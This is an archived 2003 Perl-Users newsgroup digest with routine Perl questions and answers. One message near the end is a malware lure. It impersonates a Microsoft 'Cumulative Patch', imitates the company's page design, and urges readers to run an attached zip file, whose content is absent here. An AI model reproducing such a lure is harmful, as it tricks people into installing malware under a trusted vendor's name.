[23447] in Perl-Users-Digest
Perl-Users Digest, Issue: 5662 Volume: 10
daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Wed Oct 15 09:05:44 2003
Date: Wed, 15 Oct 2003 06:05:08 -0700 (PDT)
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)
Perl-Users Digest Wed, 15 Oct 2003 Volume: 10 Number: 5662
Today's topics:
add text to next line? <geoff.cox@blueyonder.co.uk>
Re: add text to next line? <noreply@gunnar.cc>
Re: check if a string ends with particular letters <HelgiBriem_1@hotmail.com>
Re: Converting indented data to a tree (Anno Siegel)
Re: How does one move down a line in a file? <no@spam.here>
How to calculate the number of match occurrences direct (Long Li)
Re: How to calculate the number of match occurrences di (Anno Siegel)
Re: How to calculate the number of match occurrences di <noreply@gunnar.cc>
Re: How to calculate the number of match occurrences di <tim@vegeta.ath.cx>
Re: Net::SSH::Perl : multiple connections fails (Helge Cramer)
Perl on AS400 (Michel)
Re: Perl scripts for Unix on my windows machine (Ren Patterson)
Re: Perl scripts for Unix on my windows machine <noreply@gunnar.cc>
Re: search result case problem <duffy_ben@hotmail.com>
Re: send e-mail and attachment <me@privacy.net>
Re: send e-mail and attachment <abigail@abigail.nl>
Take a look at the security pack from the MS Corporatio <chxhecpbxk@ietk.net>
Re: Threads and OO Question <Ed+nospam@ewildgoose.demon.co.uk@>
Re: Unexpected alteration of array's content (Anno Siegel)
Re: Why Is My Hash Assignment Taking So Long? (Anno Siegel)
Re: <bwalton@rochester.rr.com>
Digest Administrivia (Last modified: 6 Apr 01) (Perl-Users-Digest Admin)
----------------------------------------------------------------------
Date: Wed, 15 Oct 2003 12:35:42 GMT
From: Geoff Cox <geoff.cox@blueyonder.co.uk>
Subject: add text to next line?
Message-Id: <sofqovobfbm1ivjts6d97vgbqn3lht890v@4ax.com>
Hello,
I am trying to find <body> in an html file and then add some text to
the line after the <body> tag ... the code below adds the text at the
end of the file. How do I get the text on the next line after
<body>?
Cheers
geoff
use warnings;
use strict;
use File::Find;
my $dir = 'd:/a-winfiles/mfox/html/few';
find sub {
my $name = $_;
if (-d $_) {return;};
if ($name !~ /^print/) {
open (IN, "$name");
my $line;
while (defined ($line = <IN>)) {
if ($line =~ /<body>/i) {
open (OUT,">>$name");
print OUT ("\n freddy");
}
}
}
}, $dir;
------------------------------
Date: Wed, 15 Oct 2003 14:47:31 +0200
From: Gunnar Hjalmarsson <noreply@gunnar.cc>
Subject: Re: add text to next line?
Message-Id: <bmjfn9$ne9ne$1@ID-184292.news.uni-berlin.de>
Geoff Cox wrote:
> I am trying to find <body> in an html file and then add some text
> to the line after the <body> tag
perldoc -q insert
--
Gunnar Hjalmarsson
Email: http://www.gunnar.cc/cgi-bin/contact.pl
------------------------------
Date: Wed, 15 Oct 2003 09:39:33 +0000
From: Helgi Briem <HelgiBriem_1@hotmail.com>
Subject: Re: check if a string ends with particular letters
Message-Id: <od5qovcaggfmbga3gqqrvn0k926moip3ft@4ax.com>
On Tue, 14 Oct 2003 16:15:40 -0500, "Eric J. Roode"
<REMOVEsdnCAPS@comcast.net> wrote:
>> Could someone tell me how to check if a string ends with particular
>> letters. For example, i want to check if the following string is
>> ending with gif:
>>
>> "htt://www.mypage.com/myimage.gif"
>
>if (substr($string, -3) eq 'gif')
Have you succumbed to the troll disease?
------------------------------
Date: 15 Oct 2003 07:45:19 GMT
From: anno4000@lublin.zrz.tu-berlin.de (Anno Siegel)
Subject: Re: Converting indented data to a tree
Message-Id: <bmituf$pg5$3@mamenchi.zrz.TU-Berlin.DE>
Tore Aursand <tore@aursand.no> wrote in comp.lang.perl.misc:
> Hi!
>
> I need to convert a large text file with indented data into a tree (ie.
> into a child-parent relationship).
>
> The text file looks like this:
>
> Page 1
> Page 1.1
> Page 1.1.1
> Page 1.1.2
> Page 1.2
> Page 1.3
> Page 2
> Page 2.1
>
> I know that for each "level", there are a known number of spaces (in this
> case 4), or 0 spaces if we're on a root level.
>
> For each line I want to assign an incremental counter, so that I should
> end up with an array of arrays representing the tree. For the example
> above the array would look like this:
>
> @array = (
> [1,0], # Page 1
> [2,1], # Page 1.1
> [3,2], # Page 1.1.1
> [4,2], # Page 1.1.2
> [5,1], # Page 1.2
> [6,1], # Page 1.3
> [7,0], # Page 2
> [8,7], # Page 2.1
> );
>
> I guess you'll get the idea.
I thought I did, until I sw the last item. Should "[8,7]" be "[8,1]"?
Also, the first component seems to be nothing but a counter, one more
than the index. What is it for?
> I'm totally stuck on this one, and I would
> like some help from you guys (and girls).
The array is almost trivial to build:
my @array;
my $count = 1;
while ( <DATA> ) {
my ( $leading) = /^( *)/;
push @array, [ $count++, length( $leading)/4];
}
I don't see how the array represents the tree. It only holds the
level of each node, but not its relation to other nodes.
Anno
------------------------------
Date: Wed, 15 Oct 2003 08:28:22 GMT
From: "John" <no@spam.here>
Subject: Re: How does one move down a line in a file?
Message-Id: <Gy7jb.151558$bo1.15116@news-server.bigpond.net.au>
"Glenn Jackman" <xx087@freenet.carleton.ca> wrote in message
news:slrnboodnf.fgj.xx087@smeagol.ncf.ca...
> James Willmore <jwillmore@remove.adelphia.net> wrote:
> > --untested--
> > while(<FILE>){
> > my $first = <FILE>;
> > my $second = <FILE>;
> > my $third = <FILE>;
> > last;
> > }
> > --untested--
> >
> > This will get the first three lines - 'last' breaks the loop.
>
> That will get the 2nd, 3rd and 4th lines into $first, $second and $third
> respectively. Because they are my variables, they will be lost as soon
> as you exit the while loop.
>
>
> --
> Glenn Jackman
> NCF Sysadmin
> glennj@ncf.ca
wow, so many answers :)
can some1 pls elaborate why the variables start getting values from the 2nd
line instead of the 1st one?
what happens to the first line? goes into a void?
------------------------------
Date: Wed, 15 Oct 2003 07:22:17 GMT
From: lilong76@yahoo.com.cn (Long Li)
Subject: How to calculate the number of match occurrences directly?
Message-Id: <3f8cf57b.16699232@news.bentium.com>
Hi,
I want to calculate the number of match occurrences, for examples,
$string = "abcdabcd";
@a = $string =~ m/a/g;
$num_a = @a;
However, I do not want to use the array "@a" because I do not care
that array, espcially "$string" is very large and include many "a", I
just want to know the number of "a" occurrences. I tried
$num_a = $string =~ m/(a)/g;
or
$num_a = ( $string =~ m/a/g );
They both did not work. Please give me some suggestions, thanks.
------------------------------
Date: 15 Oct 2003 07:32:08 GMT
From: anno4000@lublin.zrz.tu-berlin.de (Anno Siegel)
Subject: Re: How to calculate the number of match occurrences directly?
Message-Id: <bmit5o$pg5$2@mamenchi.zrz.TU-Berlin.DE>
Long Li <lilong76@yahoo.com.cn> wrote in comp.lang.perl.misc:
> Hi,
> I want to calculate the number of match occurrences, for examples,
>
> $string = "abcdabcd";
> @a = $string =~ m/a/g;
> $num_a = @a;
>
> However, I do not want to use the array "@a" because I do not care
> that array, espcially "$string" is very large and include many "a", I
> just want to know the number of "a" occurrences. I tried
>
> $num_a = $string =~ m/(a)/g;
> or
> $num_a = ( $string =~ m/a/g );
>
> They both did not work. Please give me some suggestions, thanks.
There's a trick to that:
$num = () = /a/g;
The "()" provide list context to the regex, but the actual variable
(a scalar) is assigned the number of elements. Capturing parentheses
are not necessary.
If you only ever want to count single characters, tr/// is simpler
and more efficient:
$num = tr/a//;
Anno
------------------------------
Date: Wed, 15 Oct 2003 09:34:54 +0200
From: Gunnar Hjalmarsson <noreply@gunnar.cc>
Subject: Re: How to calculate the number of match occurrences directly?
Message-Id: <bmitd3$nas6g$1@ID-184292.news.uni-berlin.de>
Long Li wrote:
> I want to calculate the number of match occurrences, for examples,
>
> $string = "abcdabcd";
> @a = $string =~ m/a/g;
> $num_a = @a;
>
> However, I do not want to use the array "@a" because I do not care
> that array, espcially "$string" is very large and include many "a",
> I just want to know the number of "a" occurrences. I tried
>
> $num_a = $string =~ m/(a)/g;
> or
> $num_a = ( $string =~ m/a/g );
>
> They both did not work. Please give me some suggestions, thanks.
You are asking a FAQ.
perldoc -q count
Please consult the FAQ, thanks.
--
Gunnar Hjalmarsson
Email: http://www.gunnar.cc/cgi-bin/contact.pl
------------------------------
Date: 15 Oct 2003 02:06:16 -0700
From: Tim Hammerquist <tim@vegeta.ath.cx>
Subject: Re: How to calculate the number of match occurrences directly?
Message-Id: <slrnboq2uo.g49.tim@vegeta.ath.cx>
Long Li graced us by uttering:
> I want to calculate the number of match occurrences, for
> examples,
>
> $string = "abcdabcd";
> @a = $string =~ m/a/g;
> $num_a = @a;
>
> However, I do not want to use the array "@a" because I do not
> care that array, espcially "$string" is very large and include
> many "a", I just want to know the number of "a" occurrences.
Either of:
$num_a++ while $string =~ m/a/g;
$num_a = $string =~ tr/a/a/;
The former will match once for each occurence of 'a' in $string,
each subsequent attempt starting where the former left off.
The latter actually replaces the 'a' with itself for as many
times as it's found, thus $string remains identical, while the
tr/// operator returns the number of (harmless) replacements
made. This may have some unforeseen drawbacks, however, due to
modifying $string. FYI.
I don't have time to benchmark these, but you might try running
both of these algorithms on very large strings, since you said
$string might get quite large, using the Benchmark module to time
them.
HTH,
Tim Hammerquist
--
You just can't trust a house.
-- May Kasahara, "The Wind-Up Bird Chronicle"
------------------------------
Date: 15 Oct 2003 05:31:46 -0700
From: cramer@crpc.de (Helge Cramer)
Subject: Re: Net::SSH::Perl : multiple connections fails
Message-Id: <7c754dd5.0310150431.403e795c@posting.google.com>
I tried the code You posted, but it is not working for me either. I am
still getting error message:
Net::SSH: Can't bind socket to port 1023: Die Adresse wird bereits
verwendet
(Address already in use)
Here my modified code according to Your last posting:
my %servers = (
host1 => {
host => "host1.somewhere.net",
user => "user1",
pass => "pass1",
logdir => "www/logs",
cmd_zip => "gzip -9 www/logs/*_access",
cmd_ls => "ls www/logs/*_access.gz",
cmd_delete => "rm -f www/logs/*.gz",
hold_flag => 0,
},
host2 => {
host => "host2.somewhere.net",
user => "user2",
pass => "pass2",
logdir => "www/logs",
cmd_zip => "gzip -9 www/logs/access_log_*",
cmd_ls => "ls www/logs/access_log_*.gz",
cmd_delete => "rm -f www/logs/*.gz",
hold_flag => 0,
},
);
my @connections;
my $i;
my $server;
foreach $server (keys %servers) {
$i = Net::SSH::Perl->new($servers{$server}{host});
$i->login($servers{$server}{username});
push @connections, $i;
next unless $_ eq "host2";
my ($stdout, $stderr, $exit) = $i->cmd('ls');
print "First loop: $_: $stdout\n";
}
foreach $i (@connections) {
my ($stdout, $stderr, $exit) = $i->cmd('ls');
print "Second loop: $stdout\n";
}
According to the suggestion to cron: Yes, I want a cron-job to do the
thing, but there a several servers I want to connect to and so I want
just running the cron-job on one system in my office. Authentification
is through public-key (rsa) as servers do support it.
Password-Authentification is only for remote servers where I do not
have root-access and no opportunity to authentificate via key-pairs.
Helge Cramer
------------------------------
Date: 15 Oct 2003 02:27:49 -0700
From: mbr@petercam.be (Michel)
Subject: Perl on AS400
Message-Id: <c8f5d58b.0310150127.25effc10@posting.google.com>
Can someone help me with this problem
I am using perl on as400 V5r1 with CCSID 00500, locale EN_BE_LOCALE
when I try this:
perl -e 'use DBI;'
Unrecognized character \112 at /usr/local/lib/perl5/5.00502/Carp.pm line 79.
BEGIN failed--compilation aborted at /usr/local/lib/perl5/5.00502/DBI.pm line
137.
BEGIN failed--compilation aborted at -e line 1.
this is what I got.
Any help is welcome
------------------------------
Date: 15 Oct 2003 05:51:08 -0700
From: reneap@hotmail.com (Ren Patterson)
Subject: Re: Perl scripts for Unix on my windows machine
Message-Id: <2e13d330.0310150451.6e7651fb@posting.google.com>
> If you really mean that, then please start quoting your
> followups properly.
What are you talking about? quoting your followups properly? what is
wrong with this guy mike?
>
>
> > none of these system(), exec(), ``, qx//, or a pipe open().
> >
> > seem to be on my cgi-perl Unix scripts. Does that mean they should be
> > able to run from my Windows web server cgi-bin folder?
>
>
> Probably, though there _are_ a few less obvious potential problems.
>
> What happened when you tried it?
I have not tried yet, I wanted to know before hand if I would be
wasting my time for maybe there was no way they worked. I will give it
a shot and post my results. Thanks.
------------------------------
Date: Wed, 15 Oct 2003 14:58:23 +0200
From: Gunnar Hjalmarsson <noreply@gunnar.cc>
Subject: Re: Perl scripts for Unix on my windows machine
Message-Id: <bmjgbl$o5j7j$1@ID-184292.news.uni-berlin.de>
Ren Patterson wrote:
>> If you really mean that, then please start quoting your followups
>> properly.
>
> What are you talking about? quoting your followups properly? what
> is wrong with this guy mike?
Mike?
Please read the posting guidelines for this group:
http://mail.augustmail.com/~tadmc/clpmisc/clpmisc_guidelines.html
>> What happened when you tried it?
>
> I have not tried yet, I wanted to know before hand if I would be
> wasting my time for maybe there was no way they worked.
Really? So you preferred to waste the time of hundreds of readers of
this group??
--
Gunnar Hjalmarsson
Email: http://www.gunnar.cc/cgi-bin/contact.pl
------------------------------
Date: Wed, 15 Oct 2003 12:59:52 +0100
From: "Ben Duffy" <duffy_ben@hotmail.com>
Subject: Re: search result case problem
Message-Id: <ZEajb.9407$WR5.2650@news-binary.blueyonder.co.uk>
Thanks Jasper, also stops problem when $where_desc contains a slash /.
"Jasper" <jasper@mccrea.demon.co.uk> wrote in message
news:b6891527.0310140724.7c2347be@posting.google.com...
> "Ben Duffy" <duffy_ben@hotmail.com> wrote in message
news:<YkQib.10592$jF3.409@news-binary.blueyonder.co.uk>...
> > What perl functions should I use to be able to find a substring in a
string,
> > & replace it with bold text, similar to Google search results
highlighting?
> >
> > for example
> > search "120gb Hard Disk Drive" for "disk" to result in "120gb Hard
> > <strong>Disk</strong> Drive"
> >
> > The way I am currently doing this is...
> > $prodname = "120gb Hard Disk Drive" ;
> > $where_desc = "disk";
> > $prodname =~ s/$where_desc/<strong>$where_desc<\/strong>/gi;
> >
> > which gives... "120gb Hard <strong>disk</strong> Drive"
> >
> > The problem is that I want to retain the $prodname's original case.
>
> Why not try:
>
> $prodname =~ s/($where_desc)/<strong>$1<\/strong>/gi;
>
> That seems to work for me. The brackets capture what you actually
> match, not just what you're searching for, if you see what I mean.
>
> Jasper
------------------------------
Date: Wed, 15 Oct 2003 20:10:35 +1300
From: "Tintin" <me@privacy.net>
Subject: Re: send e-mail and attachment
Message-Id: <bmis9n$nad08$1@ID-172104.news.uni-berlin.de>
"ty" <takashiyyy@yahoo.com> wrote in message
news:3F8CC19B.20682F52@yahoo.com...
> Could anyone tell me how to send e-mail and attachment (a text file) by
> Perl?
>
> I used codes like these:
>
> $to="takashiyyy\@yahoo.com";
> $from ="anotherAdress\@yahoo.com";
> $subject = "test";
> $content = "this is a test";
>
> open (MAIL, "|/usr/sbin/sendmail -t");
>
> print MAIL "TO: $to \nFrom: $from: \n";
> print MAIL "Subject: $subject \n";
> print MAIL "$content \n";
> close(MAIL);
>
>
> but how can I attache a file (text file)?
MIME::Lite makes this simple for you.
------------------------------
Date: 15 Oct 2003 08:26:45 GMT
From: Abigail <abigail@abigail.nl>
Subject: Re: send e-mail and attachment
Message-Id: <slrnboq165.97f.abigail@alexandra.abigail.nl>
ty (takashiyyy@yahoo.com) wrote on MMMDCXCVII September MCMXCIII in
<URL:news:3F8CC19B.20682F52@yahoo.com>:
[] Could anyone tell me how to send e-mail and attachment (a text file) by
[] Perl?
Read the FAQ.
Abigail
--
perl -wle'print"Êõóô áîïôèåò Ðåòì Èáãëåò"^"\x80"x24'
------------------------------
Date: Wed, 15 Oct 2003 10:54:30 +0000 (UTC)
From: "MIKAEL SUNDSTRÖM" <chxhecpbxk@ietk.net>
Subject: Take a look at the security pack from the MS Corporation
Message-Id: <bmj90t$g6l$1@green.tninet.se>
--lvdtvcaztk
Content-Type: multipart/related; boundary="ivcyjgtibgx";
type="multipart/alternative"
--ivcyjgtibgx
Content-Type: multipart/alternative; boundary="fftjlokxfgc"
--fftjlokxfgc
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
Microsoft Customer
this is the latest version of security update, the
"October 2003, Cumulative Patch" update which eliminates
all known security vulnerabilities affecting
MS Internet Explorer, MS Outlook and MS Outlook Express.
Install now to help protect your computer
from these vulnerabilities.
This update includes the functionality =
of all previously released patches.
System requirements: Windows 95/98/Me/2000/NT/XP
This update applies to:
- MS Internet Explorer, version 4.01 and later
- MS Outlook, version 8.00 and later
- MS Outlook Express, version 4.01 and later
Recommendation: Customers should install the patch =
at the earliest opportunity.
How to install: Run attached file. Choose Yes on displayed dialog box.
How to use: You don't need to do anything after installing this item.
Microsoft Product Support Services and Knowledge Base articles =
can be found on the Microsoft Technical Support web site.
http://support.microsoft.com/
For security-related information about Microsoft products, please =
visit the Microsoft Security Advisor web site
http://www.microsoft.com/security/
Thank you for using Microsoft products.
Please do not reply to this message.
It was sent from an unmonitored e-mail address and we are unable =
to respond to any replies.
----------------------------------------------
The names of the actual companies and products mentioned =
herein are the trademarks of their respective owners.
--fftjlokxfgc
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
<HTML>
<HEAD>
<style type=3D'text/css'>.navtext{color:#ffffff;text-decoration:none}
</style>
</HEAD>
<BODY BGCOLOR=3D"White" TEXT=3D"Black">
<BASEFONT SIZE=3D"2" face=3D"verdana,arial">
<TABLE WIDTH=3D"600" HEIGHT=3D"40" BGCOLOR=3D"#1478EB">
<TR height=3D"20">
<TD ALIGN=3D"left" VALIGN=3D"TOP" WIDTH=3D"400" ROWSPAN=3D"2">
<FONT FACE=3D"sans-serif" SIZE=3D"5"><I><B>
<A class=3D'navtext' HREF=3D"http://www.microsoft.com/"
TITLE=3D"Microsoft Home Site" target=3D"_top">Microsoft</A>
</B></I></FONT>
</TD>
<TD ALIGN=3D"right" VALIGN=3D"MIDDLE" BGCOLOR=3D"Black" NOWRAP>
<FONT color=3D"#ffffff" size=3D1>
<A class=3D'navtext' href=3D'http://www.microsoft.com/catalog/' =
target=3D"_top">All Products</A> |
<A class=3D'navtext' href=3D'http://support.microsoft.com/' =
target=3D"_top">Support</A> |
<A class=3D'navtext' href=3D'http://search.microsoft.com/' =
target=3D"_top">Search</A> |
<A class=3D'navtext' href=3D'http://www.microsoft.com/' target=3D_top>
Microsoft.com Guide</A>
</FONT>
</TD>
</TR>
<TR>
<TD ALIGN=3D"right" VALIGN=3D"BOTTOM" NOWRAP>
<FONT FACE=3D"Verdana, Arial" SIZE=3D1><B>
<A class=3D'navtext' HREF=3D'http://www.microsoft.com/' TARGET=3D" top">
Microsoft Home</A> </B>
</FONT>
</TD>
</TR>
</TABLE>
<IMG SRC=3D"cid:cvxrmwv" BORDER=3D"0"><BR><BR>
<TABLE WIDTH=3D"600"><TR><TD><FONT SIZE=3D"2">
Microsoft Customer<BR><BR>
this is the latest version of security update, the
"October 2003, Cumulative Patch" update which eliminates
all known security vulnerabilities affecting
MS Internet Explorer, MS Outlook and MS Outlook Express.
Install now to help protect your computer
from these vulnerabilities.
This update includes the functionality =
of all previously released patches.
</FONT></TD></TR>
</TABLE>
<BR><BR>
<TABLE BORDER=3D"1" CELLSPACING=3D"1" CELLPADDING=3D"3" WIDTH=3D"600">
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:lbpszny" =
ALIGN=3D"absmiddle" BORDER=3D"0"> System requirements</B>
</FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Windows 95/98/Me/2000/NT/XP</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:lbpszny" =
ALIGN=3D"absmiddle" BORDER=3D"0"> This update applies to</B>
</FONT></TD><TD NOWRAP>
<FONT SIZE=3D"1">
MS Internet Explorer, version 4.01 and later<BR>
MS Outlook, version 8.00 and later<BR>
MS Outlook Express, version 4.01 and later
</FONT>
</TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:lbpszny" =
ALIGN=3D"absmiddle" BORDER=3D"0"> Recommendation</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Customers should install the patch =
at the earliest opportunity.</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:lbpszny" =
ALIGN=3D"absmiddle" BORDER=3D"0"> How to install</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Run attached file. =
Choose Yes on displayed dialog box.</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:lbpszny" =
ALIGN=3D"absmiddle" BORDER=3D"0"> How to use</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">You don't need to do =
anything after installing this item.</FONT></TD>
</TR>
</TABLE>
<BR>
<TABLE WIDTH=3D"600"><TR><TD><FONT SIZE=3D"2">
Microsoft Product Support Services and Knowledge Base articles
can be found on the <A HREF=3D"http://support.microsoft.com/" =
TARGET=3D"_top">Microsoft Technical Support</A> web site. =
For security-related information about Microsoft products, please =
visit the <A HREF=3D"http://www.microsoft.com/security" TARGET=3D"_top">
Microsoft Security Advisor</A> web site, =
or <A HREF=3D"http://www.microsoft.com/contactus/contactus.asp" =
TARGET=3D"_top">Contact Us.</A>
<BR><BR>
Thank you for using Microsoft products.<BR><BR></FONT>
<FONT SIZE=3D"1">Please do not reply to this message. =
It was sent from an unmonitored e-mail address and we are unable =
to respond to any replies.<BR></FONT>
<HR COLOR=3D"Silver" SIZE=3D"1" WIDTH=3D"100%">
<FONT SIZE=3D"1" COLOR=3D"Gray">The names of the actual companies and =
products mentioned herein are the trademarks =
of their respective owners.</FONT>
</TD></TR></TABLE>
<BR>
<TABLE WIDTH=3D"600" HEIGHT=3D"45" BGCOLOR=3D"#1478EB">
<TR VALIGN=3D"TOP">
<TD WIDTH=3D"5"></TD>
<TD>
<FONT COLOR=3D"#FFFFFF" SIZE=3D"1"><B>
<A class=3D'navtext' HREF=3D"http://www.microsoft.com/=
contactus/contactus.asp" TARGET=3D"_top">Contact Us</A>
|
<A class=3D'navtext' HREF=3D"http://www.microsoft.com/legal/" =
TARGET=3D"_top">Legal</A>
|
<A class=3D'navtext' HREF=3D"https://www.truste.org/validate/605" =
TARGET=3D"_top" TITLE=3D"TRUSTe - Click to Verify">TRUSTe</A>
</FONT></B>
</TD>
</TR>
<TR VALIGN=3D"MIDDLE">
<TD WIDTH=3D"5"></TD>
<TD>
<FONT COLOR=3D"#FFFFFF" SIZE=3D"1">
©2003 Microsoft Corporation. All rights reserved.
<A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/=
info/cpyright.htm" TARGET=3D"_top">Terms of Use</A>
|
<A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/=
info/privacy.htm" TARGET=3D"_top">
Privacy Statement</A> |
<A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/=
enable/" TARGET=3D"_top">Accessibility</A>
</FONT>
</TD>
</TR>
</TABLE>
</BODY>
</HTML>
--fftjlokxfgc--
--ivcyjgtibgx
Content-Type: image/gif
Content-Transfer-Encoding: base64
Content-ID: <cvxrmwv>
R0lGODlhaAA7APcAAP///+rp6puSp6GZrDUjUUc6Zn53mFJMdbGvvVtXh2xre8bF1x8cU4yLprOy
zIGArlZWu25ux319xWpqnnNzppaWy46OvKKizZqavLa2176+283N5sfH34uLmpKSoNvb7c7O3L29
yqOjrtTU4crK1Nvb5erq9O/v+O7u99PT2sbGzePj6vLy99jY3Pv7/vb2+fn5++/v8Kqr0oWHuNbX
55SVoszN28vM2pGUr7S1vqqtv52frOPl8CQvaquz2Ojp7pmn3Ozu83OPzmmT6F1/xo6Voh9p2C5z
3EWC31mS40Zxr4uw6LXN8iZkuXmn55q97PH2/Yir1rbL5iVTh3Oj2cvX5Pv9/+/w8QF8606h62Wk
3n+dubnY9abB2c7n/83h9Nji6weK+CGJ4Vim6WyKpKWssgFyyAaV/0Km8Gyx6HW57FJxicDP2+Tt
9Pj8/wOa/wmL5wqd/w6V8heb91e5+mS9+VmLr4vD6qvc/b/j/Mbn/sTi9rvX6szq/tPt/9ju/dzx
/+n2/+74//P6/+3w8hOh/xOW6yCm/iuu/zWv/0m4/XTH/IXK95TP9qPV9bfi/tDn9tfp9OP0/93r
9L3Izy6Vzj22/lrC/mfG/JvJ5JGntAyd6IbX/3zD6GzP/3jV/2uoxHqbqujv8g6MvJTj/2HF5pXV
606zz6Hp/63v/7j1/8Ps88b8/rbj5RKOkE2wr3OGh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oV0gY2SNsCgG+0
DFJwJFhWMbkDK7qHRcD4xjMeBxMoQAGEHYSpWz0hPlhANHxggWtyYBnMQAYIKvBwCZj+9GCHqAUc
kFMdOF4EOzBAAXoA2JX3d9zAm7u5oxxzW4164doaiAM0rwwU0IAHz4hGAEDfAjH74PTQn4G0EpAA
Z9HX9Y03wAEKcIAB/oDAYQc/CQkcEIBoPAMGzoDBM2KwfGa0QAMXOBLg5y8B6V/gAVNowhQogIEV
61kEDXAAPdADTVAJaKBjtgd3KCR3mrZ7nWZ36kZzx0QIV5AQGNAC5Xd+x6B+7Md8KYBN0oZkziIt
E4AAKTAACtBQ8ZIA3NcBKrAMMRB+RfEAzLAM0aAMz/ACLwANyrcMyNACKXABCwA40VKEFPBwRtYE
cjAHhmAEU5AAAzgFYjAHrHZmCVhODPhyvAeBtkJzNUYIs5AQNLgM5VeBV9CDoQeEIZABICADbviG
FBAtRqYAzCAQAVACOSAACFACMngYFqACNRgAgiiIy+CDLQCEJCAD/yWgAV7ViHF4ATOQAFMABxI3
cWM0B6tWhQjoduIWd7nXgC20hXfHbkOBPRSYECFgAchQg4VYiMyQhikAAjdwAStgAydyIm1yARVA
AQXQASvQhzYSAA2AAav4iq/4g0AYiyRwATRQAiqgAggwAxYgA7t4AAcQAjcIjBTSAgYwAySADOB4
iMkoi7uCAQuQJBYgZj3FfQOwDNpYJSnQAROAAZozjuS4AAsAfzLgAGzyACzYfXX4jlVSAmVAfQ+w
MCRgAyRAAvhIMCmCXNtXAAYQAu4okHryAzaAARNgjQYJJxNAfRF5AAaQAy2QjRYpdWBQBV2QawrA
gpLHfQpgAA1ggiMrYJInKWxIsRhfUAU82ZMj0Iwr8AM3qY3E9ntVV3lDWSUBAQA7
--ivcyjgtibgx
Content-Type: image/gif
Content-Transfer-Encoding: base64
Content-ID: <lbpszny>
R0lGODlhDAAMANUAAP////f3//f39+/v9+/v797m987W787W5sXW5rXF76295qW975y175St75St
3pSlzoyl1oSl5oylzoycxXOU3nOMxWOM5mOM3mOE1lqE3mOEvVKE1lp7xVJ71lJ7zlJ7xVJ7vUp7
zkpzzkpzxVJzrUprvUJrxUJrvUJjtTpjtTpjrTparTpapQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAADAAMAAAIjAABAAhwwMGFCxAQ
CACwkICDDBYSLGjQwQEBhg8zDBAIYIEIBwIQdLjAoOOFgSFMIICwIUMEAxQwCBxhAgKHDh5C6DQA
IIGJEyA4fPAwYoQCAAVKoEgBQsKJEidQ8CyRYumDA1VTqNBQQYXXFQofsPB6AIAKFiweNBTLoiza
BxcFCjgwgQSJCQcWCggIADs=
--ivcyjgtibgx--
--lvdtvcaztk
Content-Type: application/x-compressed; name="npeuc.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment
--lvdtvcaztk--
------------------------------
Date: Wed, 15 Oct 2003 10:25:09 GMT
From: "Edward Wildgoose" <Ed+nospam@ewildgoose.demon.co.uk@>
Subject: Re: Threads and OO Question
Message-Id: <9g9jb.2951223$Bf5.402549@news.easynews.com>
> > I have a peculiar problem with threads on Perl 5.8 (activestate on
Win32)
> It's not threads, it's io buffering
>
> Add
>
> $| = 1;
Bah! Yep, fixes everything!
Can anyone point me to any other references on the new perl threads. I have
read the man pages, and perlthrtut. I'm basically confused as to how to
share variables between threads when the variable to be shared is a class.
I'm aware this is fairly limited at the moment, but advice on how to make
something like the below share variables correctly would be appreciated:
Thanks,
Ed W
<scribble mode on>
package main;
my $worker = Worker->new();
my $thr = threads->new(sub{$worker->start();});
while (1) {
my $stats = $worker->CheckStats();
useful_function( $stats->Do_Something_With_Object() );
}
##############################
package Worker;
sub new {
my $class;
return bless( {Stats => MyStats->new(), $class}
}
sub start { do_something(); }
sub CheckStats {
my $this;
return $this->{Stats};
}
####################
package MyStats;
sub new {
my $class;
my $self = { bytes_in => 0,
bytes_out => 0};
return bless($self, $class);
}
sub increment { etc }
...etc...
------------------------------
Date: 15 Oct 2003 10:02:17 GMT
From: anno4000@lublin.zrz.tu-berlin.de (Anno Siegel)
Subject: Re: Unexpected alteration of array's content
Message-Id: <bmj5v9$sd7$1@mamenchi.zrz.TU-Berlin.DE>
Roy Johnson <rjohnson@shell.com> wrote in comp.lang.perl.misc:
> Brian McCauley <nobull@mail.com> wrote in message
> news:<u9oewydvo3.fsf@wcl-l.bham.ac.uk>...
[ways to create an array copy]
> There is no reason for @{[@ar]} to become a familiar idiom. It doesn't
> do anything that is often going to be necessary. It's not difficult to
> decipher, but it still takes a blink.
Reason or no, the use of [] to make an array copy, and of {} for a hash
copy, are pretty well established. When working with references it
is often necessary to de-couple one reference from another, and the
natural thing for an arrayref is to say "[@$ref]". From there it is
only a step to "@{[@ar]}".
Anno
------------------------------
Date: 15 Oct 2003 07:23:55 GMT
From: anno4000@lublin.zrz.tu-berlin.de (Anno Siegel)
Subject: Re: Why Is My Hash Assignment Taking So Long?
Message-Id: <bmismb$pg5$1@mamenchi.zrz.TU-Berlin.DE>
Uri Guttman <uri@stemsystems.com> wrote in comp.lang.perl.misc:
> >>>>> "AS" == Anno Siegel <anno4000@lublin.zrz.tu-berlin.de> writes:
>
> AS> When a directory is mostly passive (like, say, the fonts of
> AS> something big and bulky), you can store more files per directory,
